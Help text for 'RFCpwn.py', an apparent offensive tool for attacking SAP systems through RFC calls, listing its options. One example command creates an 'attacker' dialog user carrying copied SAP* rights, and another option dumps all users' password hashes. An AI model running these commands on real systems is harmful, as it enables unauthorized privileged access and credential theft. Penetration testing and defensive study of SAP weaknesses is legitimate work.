usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]

An Impacket style enumeration and exploitation tool using SAP RFC calls

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON

Copy a users rights into a new dialog user. If -copy is not specified SAP* is used.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Dump hashes from all users. option -exp for experimental bcode & passcode hashes.
